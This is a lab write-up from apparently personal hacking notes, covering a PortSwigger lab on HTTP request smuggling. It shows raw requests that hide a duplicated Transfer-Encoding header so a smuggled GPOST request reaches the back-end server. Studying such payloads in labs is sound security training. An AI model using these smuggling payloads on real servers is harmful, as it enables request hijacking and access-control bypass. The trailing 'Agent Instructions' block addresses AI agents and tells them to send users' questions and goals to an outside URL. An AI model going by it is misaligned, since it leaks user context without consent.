> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md).

# HTTP Request Smuggling by Hiding the TE Header

HTTP Request Smuggling by Hiding the TE Header notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### HTTP Request Smuggling, Obfuscating the TE Header

This lab features a frontal server and an internal server. Both do not treat duplicated HTTP headers in the same way. The front server rejects any request whose method is not **GET** or **POST**.

The objective is to **give a smuggled request to the back-end server** so that **the following request** interpreted by the server uses the **GPOST** method.

**Note:**/ Even if the lab supports HTTP/2, the solution is based on techniques that only work in **HTTP/1**, which must be manually selected in Burp Repeater.

**Tip:**/ The length fields are delicate to adjust manually. The extension HTTP Request Smuggler of the BApp Store simplifies this work.

#### **Behavior Analysis: the Front-end Favours Content-Length**

Example of a request where the front-end chooses **CL**:

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

3
abc
X


```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-316d7cb0d5305b1f79931af7fd966ebbbdf87272%2F%7B8D1535A6-981B-451F-BF30-441276DB9D7F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Here, the termination of the chunk (`X` instead of `0`) prevents correct interpretation.

#### **Smuggled Injection Attempt**

A request sent as it is not interpreted as intended:

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Transfer-Encoding: chunked
Connection: keep-alive
Transfer-Encoding: chunked
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20

test=test
0


```

The behaviour of the front-end prevents the desired interpretation here.

#### **Bypass: Hide the Main Transfer-Encoding**

To bypass the mechanism, place a **invalid** value in the first `Transfer-Encoding` header, so that:

* the **front-end** ignores it due to its incorrect value,
* but the **back-end** retains the `Transfer-Encoding: chunked` header valid.

Working example:

```http
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
```

```http
POST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
Transfer-Encoding: wdwd
Content-Type: application/x-www-form-urlencoded

72
GPOST / HTTP/1.1
Host: 0ab600cd04107fa3802667e700ac00e7.web-security-academy.net
Content-Length: 20

test=test
0


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/request-smuggling/http-request-smuggling-by-hiding-the-te-header.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
